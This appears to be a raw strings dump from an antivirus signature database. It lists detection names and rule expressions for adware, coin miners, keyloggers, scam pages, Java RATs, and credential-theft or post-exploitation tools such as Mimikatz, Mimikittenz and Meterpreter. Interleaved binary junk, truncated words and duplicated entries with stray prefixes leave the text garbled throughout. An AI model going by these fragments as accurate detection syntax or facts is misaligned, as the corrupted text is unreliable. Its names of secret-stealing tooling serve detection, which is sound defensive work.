TPPUA:MacOS/Bundlore.M1&PUA:MacOS/Bundlore.M2&PUA:MacOS/Bundlore.M3&!PUA:Exceptionz PUA:MacOS/SurfBuyer.D!MTB PUA:Block:SurfBuyer.D&!PUA:Exceptionz ($PUA:Block:SurfBuyer.D&!PUA:Exceptionz PUA:MacOS/AMCleaner.S!MTB PUA:Block:AMCleaner.S&!PUA:Exceptionz ($PUA:Block:AMCleaner.S&!PUA:Exceptionz PUA:Win64/CudoMiner PUA:Block:CudoMiner&!PUA:Exceptionz &\"PUA:Block:CudoMiner&!PUA:Exceptionz !NewWeb!MSR PUA:MacOS/Shopsmart.D!MTB PUA:Block:Shopsmart.D&!PUA:Exceptionz ($PUA:Block:Shopsmart.D&!PUA:Exceptionz PUA:MacOS/CoinMiner.K!MTB PUA:Block:CoinMiner.K&!PUA:Exceptionz ($PUA:Block:CoinMiner.K&!PUA:Exceptionz PUA:MacOS/AoboKeylogger.G!MTB PUA:Block:AoboKeylogger.G&!PUA:Exceptionz ,(PUA:Block:AoboKeylogger.G&!PUA:Exceptionz PUA:MacOS/AMCleaner.T!MTB PUA:Block:AMCleaner.T&!PUA:Exceptionz ($PUA:Block:AMCleaner.T&!PUA:Exceptionz PUA:MacOS/Adload.F!MTB PUA:Block:Adload.F&!PUA:Exceptionz %!PUA:Block:Adload.F&!PUA:Exceptionz App:BFGMiner App:BloodMiner %programfiles%\\blood foundation\\blood miner multilevel v0.9.2 (32bit) beta %programfiles%\\blood foundation\\blood miner multilevel v0.9.2 (64bit) beta %programfiles%\\blood foundation\\blood miner multilevel v0.9.2.2 (32bit) beta %programfiles%\\blood foundation\\blood miner multilevel v0.9.2.2 (64bit) beta %programfiles%\\blood foundation\\blood miner multilevel v0.9.2 (32bit) beta%programfiles%\\blood foundation\\blood miner multilevel v0.9.2 (64bit) beta%programfiles%\\blood foundation\\blood miner multilevel v0.9.2.2 (32bit) beta%programfiles%\\blood foundation\\blood miner multilevel v0.9.2.2 (64bit) beta hklm\\software\\wow6432node\\blood foundation\\blood miner multilevel v0.9.2 (32bit) beta hklm\\software\\wow6432node\\blood foundation\\blood miner multilevel v0.9.2 (64bit) beta hklm\\software\\wow6432node\\blood foundation\\blood miner multilevel v0.9.2.2 (32bit) beta hklm\\software\\wow6432node\\blood foundation\\blood miner multilevel v0.9.2.2 (64bit) beta hklm\\software\\wow6432node\\blood foundation\\blood miner multilevel v0.9.2 (32bit) betahklm\\software\\wow6432node\\blood foundation\\blood miner multilevel v0.9.2 (64bit) betahklm\\software\\wow6432node\\blood foundation\\blood miner multilevel v0.9.2.2 (32bit) betahklm\\software\\wow6432node\\blood foundation\\blood miner multilevel v0.9.2.2 (64bit) beta blood miner multilevel v0.9.2 (32bit) beta blood miner multilevel v0.9.2 (64bit) beta blood miner multilevel v0.9.2.2 (32bit) beta blood miner multilevel v0.9.2.2 (64bit) beta blood miner multilevel v0.9.2 (32bit) betablood miner multilevel v0.9.2 (64bit) betablood miner multilevel v0.9.2.2 (32bit) betablood miner multilevel v0.9.2.2 (64bit) beta blood foundation *CN=?bloodland co., ltd* *O=?bloodland co., ltd* *CN=?bloodland co., ltd**O=?bloodland co., ltd* ad0bb391c85bf57613591802ec3c146477fd560b ad0bb391c85bf57613591802ec3c146477fd560bz App:BMiner  utqBL< H71!} App:CCMiner ccminer ccminerz App:CGMiner App:ClaymoreMiner qz[_S App:ClaymoreCryptoNoteMiner m,b^3 App:ClaymoreDualMiner k'S*o =R:hYf STCAD QXWV&P |?Yn < udioLoopTag.A&SCRIPT:JS/MagnisocBrowser.A&SCRIPT:HTML/TechMsgTollfree.A !#TEL:Trojan:JS/Tisifi.ECBLua:ContextualDropFileByEmailClient&Lua:SingleFileJSInZip&Lua:ContextJSDoubleExtension V!#TEL:Trojan:JS/Tisifi.ECBLua:ContextualDropFileByEmailClient&Lua:SingleFileJSInZip&Lua:ContextJSDoubleExtension !#AGGR:Tobeet_Msil_0580B786pea_ismsil&HSTR:InstallerFile&AGGR:Lua:MSIL:FrameworkV4&HSTR:MSIL/Obfuscator.MPRESS.A U!#AGGR:Tobeet_Msil_0580B786pea_ismsil&HSTR:InstallerFile&AGGR:Lua:MSIL:FrameworkV4&HSTR:MSIL/Obfuscator.MPRESS.A !#AGGR:Tobeet_Msil_2B6477B3HSTR:MSIL.MyNamespace&pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&HSTR:AutoAttrMsil_852C9155 U!#AGGR:Tobeet_Msil_2B6477B3HSTR:MSIL.MyNamespace&pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&HSTR:AutoAttrMsil_852C9155 !#AGGR:Tobeet_Msil_2BB622AAHSTR:MSIL.MyNamespace&pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&HSTR:AutoAttrMsil_8AE2833D U!#AGGR:Tobeet_Msil_2BB622AAHSTR:MSIL.MyNamespace&pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&HSTR:AutoAttrMsil_8AE2833D !#AGGR:Tobeet_Msil_33F287C8pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo1&HSTR:Win32/PossibleKeylogger.C1 U!#AGGR:Tobeet_Msil_33F287C8pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo1&HSTR:Win32/PossibleKeylogger.C1 !#AGGR:Tobeet_Msil_EC04030BHSTR:MSIL.MyNamespace&pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&HSTR:AutoAttrMsil_8AE2833D U!#AGGR:Tobeet_Msil_EC04030BHSTR:MSIL.MyNamespace&pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&HSTR:AutoAttrMsil_8AE2833D !#ALF:Trojan:HTML/Freyalp.BSCRIPT:JS/FreyalpFunction.B&(SCRIPT:JS/FreyalpFunction.A|SCRIPT:JS/FreyalpFunction.C) U!#ALF:Trojan:HTML/Freyalp.BSCRIPT:JS/FreyalpFunction.B&(SCRIPT:JS/FreyalpFunction.A|SCRIPT:JS/FreyalpFunction.C) !#TEL:Trojan:Win32/Tisifi.CLua:ContextFromWebmail&RPF:MsilOverlappingMethods&pea_isdamaged&SuspiciousEXEfilename U!#TEL:Trojan:Win32/Tisifi.CLua:ContextFromWebmail&RPF:MsilOverlappingMethods&pea_isdamaged&SuspiciousEXEfilename !#TEL:PowerShell/Mimikittenz.CLua:Powershell/Mimikittenz.A!credpatterns&SCRIPT:PowerShell/Mimikittenz.A!browsers R!#TEL:PowerShell/Mimikittenz.CLua:Powershell/Mimikittenz.A!credpatterns&SCRIPT:PowerShell/Mimikittenz.A!browsers !#ALF:Trojan:PowerShell/DynamicLoaderSCPT:Trojan:PowerShell/DynamicLoader1&SCPT:Trojan:PowerShell/DynamicLoader2 t%K!#ALF:Trojan:PowerShell/DynamicLoaderSCPT:Trojan:PowerShell/DynamicLoader1&SCPT:Trojan:PowerShell/DynamicLoader2 !#TEL:SCRIPT/WmiLaunchMshta_JavaScript.AMpIsWmiAMSIScan&SCRIPT:WmiCreateProcess&SCRIPT:WmiLaunchMshta_JavaScript t(H!#TEL:SCRIPT/WmiLaunchMshta_JavaScript.AMpIsWmiAMSIScan&SCRIPT:WmiCreateProcess&SCRIPT:WmiLaunchMshta_JavaScript !#TEL:SCRIPT/WmiLaunchWmic_OsGetFormat.AMpIsWmiAMSIScan&SCRIPT:WmiCreateProcess&SCRIPT:WmiLaunchWmic_OsGetFormat t(H!#TEL:SCRIPT/WmiLaunchWmic_OsGetFormat.AMpIsWmiAMSIScan&SCRIPT:WmiCreateProcess&SCRIPT:WmiLaunchWmic_OsGetFormat !#TEL:SCRIPT/WmiLaunchWorkflowCompiler.AMpIsWmiAMSIScan&SCRIPT:WmiCreateProcess&SCRIPT:WmiLaunchWorkflowCompiler t(H!#TEL:SCRIPT/WmiLaunchWorkflowCompiler.AMpIsWmiAMSIScan&SCRIPT:WmiCreateProcess&SCRIPT:WmiLaunchWorkflowCompiler !#AGGR:Tobeet_Msil_034E3D19HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV4&HSTR:InstallerFile&HSTR:FileSharingURL V!#AGGR:Tobeet_Msil_034E3D19HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV4&HSTR:InstallerFile&HSTR:FileSharingURL !#AGGR:Tobeet_Msil_1257EC0AHSTR:MSIL.MyNamespace&pea_ismsil&LUA:SuspVerinfo1&HSTR:VirTool:Win32/VBInject.gen!AN.2 V!#AGGR:Tobeet_Msil_1257EC0AHSTR:MSIL.MyNamespace&pea_ismsil&LUA:SuspVerinfo1&HSTR:VirTool:Win32/VBInject.gen!AN.2 !#AGGR:Tobeet_Msil_1EFCCCA2pea_ismsil&HSTR:InstallerFile&HSTR:MSIL/PossibleKeylogger.A5&HSTR:Tobeet_Msil_CD3D81BD V!#AGGR:Tobeet_Msil_1EFCCCA2pea_ismsil&HSTR:InstallerFile&HSTR:MSIL/PossibleKeylogger.A5&HSTR:Tobeet_Msil_CD3D81BD !#AGGR:Tobeet_Msil_270647FBpea_ismsil&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo1&HSTR:MSIL/Malicious.Decryption.A V!#AGGR:Tobeet_Msil_270647FBpea_ismsil&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo1&HSTR:MSIL/Malicious.Decryption.A !#AGGR:Tobeet_Msil_7ECD5743pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo1&HSTR:VirTool:MSIL/Obfuscator.S06 V!#AGGR:Tobeet_Msil_7ECD5743pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo1&HSTR:VirTool:MSIL/Obfuscator.S06 !#AGGR:Tobeet_Msil_B76B6839pea_ismsil&HSTR:InstallerFile&HSTR:MSIL/PossibleKeylogger.A5&HSTR:Tobeet_Msil_B92F0590 V!#AGGR:Tobeet_Msil_B76B6839pea_ismsil&HSTR:InstallerFile&HSTR:MSIL/PossibleKeylogger.A5&HSTR:Tobeet_Msil_B92F0590 !#ALF:AGGR:HTML/TechTitle.ASCRIPT:HTML/TechTitle.A&(SCRIPT:HTML/TechMsgTollfree.A|SCRIPT:HTML/TechMsgLeavePage.D) V!#ALF:AGGR:HTML/TechTitle.ASCRIPT:HTML/TechTitle.A&(SCRIPT:HTML/TechMsgTollfree.A|SCRIPT:HTML/TechMsgLeavePage.D) !#TEL:Trojan:Java/Jrat.G!wimLua:Java.SuspiciousCrypter.JRAT.B&SIGATTR:Java:Cipher.doFinal&!AGGR:CombinedJavaClass U!#TEL:Trojan:Java/Jrat.G!wimLua:Java.SuspiciousCrypter.JRAT.B&SIGATTR:Java:Cipher.doFinal&!AGGR:CombinedJavaClass !#TEL:Trojan:Java/Jrat.H!wimLua:Java.SuspiciousCrypter.JRAT.C&SIGATTR:Java:Cipher.doFinal&!AGGR:CombinedJavaClass U!#TEL:Trojan:Java/Jrat.H!wimLua:Java.SuspiciousCrypter.JRAT.C&SIGATTR:Java:Cipher.doFinal&!AGGR:CombinedJavaClass !#TEL:Trojan:Java/Jrat.J!wimLua:Java.SuspiciousCrypter.JRAT.E&SIGATTR:Java:Cipher.doFinal&!AGGR:CombinedJavaClass U!#TEL:Trojan:Java/Jrat.J!wimLua:Java.SuspiciousCrypter.JRAT.E&SIGATTR:Java:Cipher.doFinal&!AGGR:CombinedJavaClass !#TEL:Trojan:Java/Jrat.L!wimLua:Java.SuspiciousCrypter.JRAT.G&SIGATTR:Java:Cipher.doFinal&!AGGR:CombinedJavaClass U!#TEL:Trojan:Java/Jrat.L!wimLua:Java.SuspiciousCrypter.JRAT.G&SIGATTR:Java:Cipher.doFinal&!AGGR:CombinedJavaClass !#TEL:Trojan:Java/Qrat.A!wimLua:Java.SuspiciousCrypter.QRAT.B&SIGATTR:Java:Cipher.doFinal&!AGGR:CombinedJavaClass U!#TEL:Trojan:Java/Qrat.A!wimLua:Java.SuspiciousCrypter.QRAT.B&SIGATTR:Java:Cipher.doFinal&!AGGR:CombinedJavaClass !#//AGGR:JarFileWithMoreThan100ClassBM_ZIP_FILE&Lua:JARExt&Lua:MoreThan100FilesFoldersInZip&LUA:FileSizeGT80000.A u$M!#//AGGR:JarFileWithMoreThan100ClassBM_ZIP_FILE&Lua:JARExt&Lua:MoreThan100FilesFoldersInZip&LUA:FileSizeGT80000.A !#HackTool:PowerShell/Powersploit!LowfiHackTool:PowerShell/Mikatz.1!Lowfi&HackTool:PowerShell/Powersploit.2!Lowfi u'J!#HackTool:PowerShell/Powersploit!LowfiHackTool:PowerShell/Mikatz.1!Lowfi&HackTool:PowerShell/Powersploit.2!Lowfi !#ALF:IOAVTopLevelRarHasFileWithExeExtensionRPF:AnyFileHasIOAVURL&RPF:TopLevelFile&Lua:RarHasFileWithExeExtension u,E!#ALF:IOAVTopLevelRarHasFileWithExeExtensionRPF:AnyFileHasIOAVURL&RPF:TopLevelFile&Lua:RarHasFileWithExeExtension !#SLFPER:Trojan:Win32/Meterpreter!ole32_APIsHSTR:Win32/Meterpreter!ole32_APIs&HSTR:Win32/Meterpreter!ApiRetrieval u,E!#SLFPER:Trojan:Win32/Meterpreter!ole32_APIsHSTR:Win32/Meterpreter!ole32_APIs&HSTR:Win32/Meterpreter!ApiRetrieval !#SLF:Lua/ContextFifonia.B!locallowappdata_dllRPF:TopLevelFile&Lua:ContextFileInFirstFolder.B!locallowappdata_dll u.C!#SLF:Lua/ContextFifonia.B!locallowappdata_dllRPF:TopLevelFile&Lua:ContextFileInFirstFolder.B!locallowappdata_dll !#SLF:Lua/ContextFifonia.B!locallowappdata_exeRPF:TopLevelFile&Lua:ContextFileInFirstFolder.B!locallowappdata_exe u.C!#SLF:Lua/ContextFifonia.B!locallowappdata_exeRPF:TopLevelFile&Lua:ContextFileInFirstFolder.B!locallowappdata_exe !#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!rar_odtLua:OfficeExtractedFileInZip.A!rar_odt&MHSTR:MacroInside u98!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!rar_odtLua:OfficeExtractedFileInZip.A!rar_odt&MHSTR:MacroInside !#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!rar_xmlLua:OfficeExtractedFileInZip.A!rar_xml&MHSTR:MacroInside u98!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!rar_xmlLua:OfficeExtractedFileInZip.A!rar_xml&MHSTR:MacroInside !#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!zip_odtLua:OfficeExtractedFileInZip.A!zip_odt&MHSTR:MacroInside u98!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!zip_odtLua:OfficeExtractedFileInZip.A!zip_odt&MHSTR:MacroInside !#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!zip_xmlLua:OfficeExtractedFileInZip.A!zip_xml&MHSTR:MacroInside u98!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!zip_xmlLua:OfficeExtractedFileInZip.A!zip_xml&MHSTR:MacroInside !#AGGR:Tobeet_Msil_165C791CHSTR:MSIL.MyNamespace&pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&ATTRIBUTE:SIGA:MSIL:EMAIL:S1 W!#AGGR:Tobeet_Msil_165C791CHSTR:MSIL.MyNamespace&pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&ATTRIBUTE:SIGA:MSIL:EMAIL:S1 !#AGGR:Tobeet_Msil_ECAF0AEBHSTR:MSIL.MyNamespace&pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&HSTR:VirTool:Win32/AscUrlExe W!#AGGR:Tobeet_Msil_ECAF0AEBHSTR:MSIL.MyNamespace&pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&HSTR:VirTool:Win32/AscUrlExe !#TEL:AGGR:HTML/TechBrolo.BISCRIPT:JS/RequestFullScreen.A&(SCRIPT:JS/TechAlertCode.C|SCRIPT:JS/TechMsgAlertCode.A) V!#TEL:AGGR:HTML/TechBrolo.BISCRIPT:JS/RequestFullScreen.A&(SCRIPT:JS/TechAlertCode.C|SCRIPT:JS/TechMsgAlertCode.A) !#TEL:SupportScam:JS/TechBrolo.ESCRIPT:JS/TechMsgVarCode.B&(SCRIPT:JS/TechMsgVarCode.A|SCRIPT:JS/TechMsgVarCode.C) v R!#TEL:SupportScam:JS/TechBrolo.ESCRIPT:JS/TechMsgVarCode.B&(SCRIPT:JS/TechMsgVarCode.A|SCRIPT:JS/TechMsgVarCode.C) !#AGGR:Program:Win32/NSISChecksDeepFreeze(HSTR:NSIS_Installer|HSTR:NSIS.gen!A)&HSTR:Program:Win32/ChecksDeepFreeze v)I!#AGGR:Program:Win32/NSISChecksDeepFreeze(HSTR:NSIS_Installer|HSTR:NSIS.gen!A)&HSTR:Program:Win32/ChecksDeepFreeze !#TEL:SCRIPT/WmiLaunchCertutil_Urlcache.AMpIsWmiAMSIScan&SCRIPT:WmiCreateProcess&SCRIPT:WmiLaunchCertutil_Urlcache v)I!#TEL:SCRIPT/WmiLaunchCertutil_Urlcache.AMpIsWmiAMSIScan&SCRIPT:WmiCreateProcess&SCRIPT:WmiLaunchCertutil_Urlcache !#ALF:IOAVTopLevelRarWithFileNameWithPasswordRPF:AnyFileHasIOAVURL&RPF:TopLevelFile&Lua:RarHasFileNameWithPassword v-E!#ALF:IOAVTopLevelRarWithFileNameWithPasswordRPF:AnyFileHasIOAVURL&RPF:TopLevelFile&Lua:RarHasFileNameWithPassword !#SLF:Python/PypyKatz.ASCRIPT:PypyKatz!helper1&SCRIPT:PypyKatz!helper2&SCRIPT:PypyKatz!commons&SCRIPT:PypyKatz!args \\!#SLF:Python/PypyKatz.ASCRIPT:PypyKatz!helper1&SCRIPT:PypyKatz!helper2&SCRIPT:PypyKatz!commons&SCRIPT:PypyKatz!args !#AGGR:Tobeet_Msil_79F0F8AFpea_ismsil&AGGR:Lua:MSIL:FrameworkV4&HSTR:MSIL/ClassRijndaelManaged.A&HSTR:MSIL/Confuser X!#AGGR:Tobeet_Msil_79F0F8AFpea_ismsil&AGGR:Lua:MSIL:FrameworkV4&HSTR:MSIL/ClassRijndaelManaged.A&HSTR:MSIL/Confuser !#TEL:Trojan:VBS/Tisifi.ECBLua:ContextualDropFileByEmailClient&Lua:SingleFileVBSInZip&Lua:ContextVBSDoubleExtension X!#TEL:Trojan:VBS/Tisifi.ECBLua:ContextualDropFileByEmailClient&Lua:SingleFileVBSInZip&Lua:ContextVBSDoubleExtension !#TEL:TrojanDropper:JS/Tetomek.ASCRIPT:JS/TetomekSpecialFolders.A&(SCRIPT:JS/TetomekOpen.A|SCRIPT:JS/TetomekOpen.B) w S!#TEL:TrojanDropper:JS/Tetomek.ASCRIPT:JS/TetomekSpecialFolders.A&(SCRIPT:JS/TetomekOpen.A|SCRIPT:JS/TetomekOpen.B) !#TEL:TrojanDownloader:JS/Tisifi.DLua:ContextFromWebmail&!SCPT:Nemucod_exclusion&Lua:FileInZip&SuspiciousJSfilename w\"Q!#TEL:TrojanDownloader:JS/Tisifi.DLua:ContextFromWebmail&!SCPT:Nemucod_exclusion&Lua:FileInZip&SuspiciousJSfilename !#AGGR:Torrent:Win32/TransmissionTorrentHSTR:Torrent:Win32/TransmissionTorrent|PUA:Torrent:CERT:TransmissionTorrent w(K!#AGGR:Torrent:Win32/TransmissionTorrentHSTR:Torrent:Win32/TransmissionTorrent|PUA:Torrent:CERT:TransmissionTorrent !#SLFPER:Trojan:Win32/Meterpreter!ws2_32_APIsHSTR:Win32/Meterpreter!ws2_32_APIs&HSTR:Win32/Meterpreter!ApiRetrieval w-F!#SLFPER:Trojan:Win32/Meterpreter!ws2_32_APIsHSTR:Win32/Meterpreter!ws2_32_APIs&HSTR:Win32/Meterpreter!ApiRetrieval !#SLFPER:Trojan:Win64/Meterpreter!ws2_32_APIsHSTR:Win64/Meterpreter!ws2_32_APIs&HSTR:Win64/Meterpreter!ApiRetrieval w-F!#SLFPER:Trojan:Win64/Meterpreter!ws2_32_APIsHSTR:Win64/Meterpreter!ws2_32_APIs&HSTR:Win64/Meterpreter!ApiRetrieval !#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!7zip_odtLua:OfficeExtractedFileInZip.A!7zip_odt&MHSTR:MacroInside w:9!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!7zip_odtLua:OfficeExtractedFileInZip.A!7zip_odt&MHSTR:MacroInside !#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!7zip_xmlLua:OfficeExtractedFileInZip.A!7zip_xml&MHSTR:MacroInside w:9!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!7zip_xmlLua:OfficeExtractedFileInZip.A!7zip_xml&MHSTR:MacroInside !#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!rar_wordLua:OfficeExtractedFileInZip.A!rar_word&MHSTR:MacroInside w:9!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!rar_wordLua:OfficeExtractedFileInZip.A!rar_word&MHSTR:MacroInside !#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!wzip_odtLua:OfficeExtractedFileInZip.A!wzip_odt&MHSTR:MacroInside w:9!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!wzip_odtLua:OfficeExtractedFileInZip.A!wzip_odt&MHSTR:MacroInside !#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!wzip_xmlLua:OfficeExtractedFileInZip.A!wzip_xml&MHSTR:MacroInside w:9!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!wzip_xmlLua:OfficeExtractedFileInZip.A!wzip_xml&MHSTR:MacroInside !#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!zip_wordLua:OfficeExtractedFileInZip.A!zip_word&MHSTR:MacroInside w:9!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!zip_wordLua:OfficeExtractedFileInZip.A!zip_word&MHSTR:MacroInside !#TEL:Starter.P!shellSCRIPT:Starter.P!shell1|SCRIPT:Starter.P!shell2|SCRIPT:Starter.P!shell3|SCRIPT:Starter.P!shell4 _!#TEL:Starter.P!shellSCRIPT:Starter.P!shell1|SCRIPT:Starter.P!shell2|SCRIPT:Starter.P!shell3|SCRIPT:Starter.P!shell4 !#AGGR:Tobeet_Msil_04AAD51BHSTR:MSIL.MyNamespace&pea_ismsil&HSTR:MSIL/PossibleKeylogger.A5&HSTR:Tobeet_Msil_7D94E821 Y!#AGGR:Tobeet_Msil_04AAD51BHSTR:MSIL.MyNamespace&pea_ismsil&HSTR:MSIL/PossibleKeylogger.A5&HSTR:Tobeet_Msil_7D94E821 !#AGGR:Tobeet_Msil_1B60B7CCHSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&HSTR:Tobeet_Msil_691D8306 Y!#AGGR:Tobeet_Msil_1B60B7CCHSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&HSTR:Tobeet_Msil_691D8306 !#AGGR:Tobeet_Msil_32386C9EHSTR:VirTool:Win32/VBInject.gen!AN.2&HSTR:Win32/PossibleKeylogger.B2&HSTR:Tobeet_73500EEA Y!#AGGR:Tobeet_Msil_32386C9EHSTR:VirTool:Win32/VBInject.gen!AN.2&HSTR:Win32/PossibleKeylogger.B2&HSTR:Tobeet_73500EEA !#AGGR:Tobeet_Msil_374CFA89HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&HSTR:Tobeet_Msil_D089F745 Y!#AGGR:Tobeet_Msil_374CFA89HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&HSTR:Tobeet_Msil_D089F745 !#AGGR:Tobeet_Msil_44BA92C8HSTR:MSIL.MyNamespace&pea_ismsil&HSTR:MSIL/PossibleKeylogger.A5&HSTR:Tobeet_Msil_B92F0590 Y!#AGGR:Tobeet_Msil_44BA92C8HSTR:MSIL.MyNamespace&pea_ismsil&HSTR:MSIL/PossibleKeylogger.A5&HSTR:Tobeet_Msil_B92F0590 !#AGGR:Tobeet_Msil_48DA07A3HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo&HSTR:Tobeet_Msil_D089F745 Y!#AGGR:Tobeet_Msil_48DA07A3HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo&HSTR:Tobeet_Msil_D089F745 !#AGGR:Tobeet_Msil_50E8A481HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&HSTR:Tobeet_Msil_2AB9207D Y!#AGGR:Tobeet_Msil_50E8A481HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&HSTR:Tobeet_Msil_2AB9207D !#AGGR:Tobeet_Msil_9F320385HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&HSTR:Tobeet_Msil_C92B42E3 Y!#AGGR:Tobeet_Msil_9F320385HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&HSTR:Tobeet_Msil_C92B42E3 !#AGGR:Tobeet_Msil_C9232DEDpea_ismsil&HSTR:InstallerFile&HSTR:MSIL/NameSpace.CompilerServices.A&HSTR:Tobeet_D30D3546 Y!#AGGR:Tobeet_Msil_C9232DEDpea_ismsil&HSTR:InstallerFile&HSTR:MSIL/NameSpace.CompilerServices.A&HSTR:Tobeet_D30D3546 !#AGGR:Tobeet_Msil_D0492770HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&HSTR:Tobeet_Msil_5F70D070 Y!#AGGR:Tobeet_Msil_D0492770HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&HSTR:Tobeet_Msil_5F70D070 !#AGGR:Tobeet_Msil_DCD66CE4HSTR:MSIL.MyNamespace&pea_ismsil&HSTR:MSIL/PossibleKeylogger.A5&HSTR:PossibleDownloader.A Y!#AGGR:Tobeet_Msil_DCD66CE4HSTR:MSIL.MyNamespace&pea_ismsil&HSTR:MSIL/PossibleKeylogger.A5&HSTR:PossibleDownloader.A !#AGGR:Tobeet_Msil_E8DF44A7pea_ismsil&HSTR:InstallerFile&HSTR:MSIL/NameSpace.CompilerServices.A&HSTR:Tobeet_AC2BC191 Y!#AGGR:Tobeet_Msil_E8DF44A7pea_ismsil&HSTR:InstallerFile&HSTR:MSIL/NameSpace.CompilerServices.A&HSTR:Tobeet_AC2BC191 !#TEL:AGGR:JS/TechAlertCode.ASCRIPT:JS/TechMsgAlertCode.A&SCRIPT:HTML/TechMsgSubject.A&SCRIPT:HTML/TechMsgTollfree.A W!#TEL:AGGR:JS/TechAlertCode.ASCRIPT:JS/TechMsgAlertCode.A&SCRIPT:HTML/TechMsgSubject.A&SCRIPT:HTML/TechMsgTollfree.A !#SLF:Lua/ContextSafifonia.B!locallowappdata_exeRPF:TopLevelFile&Lua:ContextSameFileFolderName.B!locallowappdata_exe x0D!#SLF:Lua/ContextSafifonia.B!locallowappdata_exeRPF:TopLevelFile&Lua:ContextSameFileFolderName.B!locallowappdata_exe !#AGGR:ZwangiNsisHSTR:NSIS_Installer&(HSTR:ZwangiUrlArgs|HSTR:Zwangi_NSISStrings|STATIC:ZwangiBmp|HSTR:ZwangiDomains) d!#AGGR:ZwangiNsisHSTR:NSIS_Installer&(HSTR:ZwangiUrlArgs|HSTR:Zwangi_NSISStrings|STATIC:ZwangiBmp|HSTR:ZwangiDomains) !#TEL:Trojan:Java/Qrat.AInEmail&Lua:Java.SuspiciousCrypter.QRAT.B&SIGATTR:Java:Cipher.doFinal&!AGGR:CombinedJavaClass ]!#TEL:Trojan:Java/Qrat.AInEmail&Lua:Java.SuspiciousCrypter.QRAT.B&SIGATTR:Java:Cipher.doFinal&!AGGR:CombinedJavaClass !#AGGR:Tobeet_Msil_0659D9BBpea_ismsil&HSTR:MSIL/Obfuscator.Confuser.C&HSTR:MSIL/PossibleKeylogger.A5&LUA:SuspVerinfo1 Z!#AGGR:Tobeet_Msil_0659D9BBpea_ismsil&HSTR:MSIL/Obfuscator.Confuser.C&HSTR:MSIL/PossibleKeylogger.A5&LUA:SuspVerinfo1 !#AGGR:Tobeet_Msil_17B6A0ADHSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&HSTR:AutoAttrMsil_326AB74D Z!#AGGR:Tobeet_Msil_17B6A0ADHSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&HSTR:AutoAttrMsil_326AB74D !#AGGR:Tobeet_Msil_476469E2HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo1&HSTR:Tobeet_Msil_5741E837 Z!#AGGR:Tobeet_Msil_476469E2HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo1&HSTR:Tobeet_Msil_5741E837 !#AGGR:Tobeet_Msil_4B753B36HSTR:MSIL.MyNamespace&pea_ismsil&HSTR:MSIL/PossibleKeylogger.A5&HSTR:AutoAttrMsil_EF8EE190 Z!#AGGR:Tobeet_Msil_4B753B36HSTR:MSIL.MyNamespace&pea_ismsil&HSTR:MSIL/PossibleKeylogger.A5&HSTR:AutoAttrMsil_EF8EE190 !#AGGR:Tobeet_Msil_56A1F829pea_ismsil&HSTR:InstallerFile&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo&HSTR:CoinMiner!bit 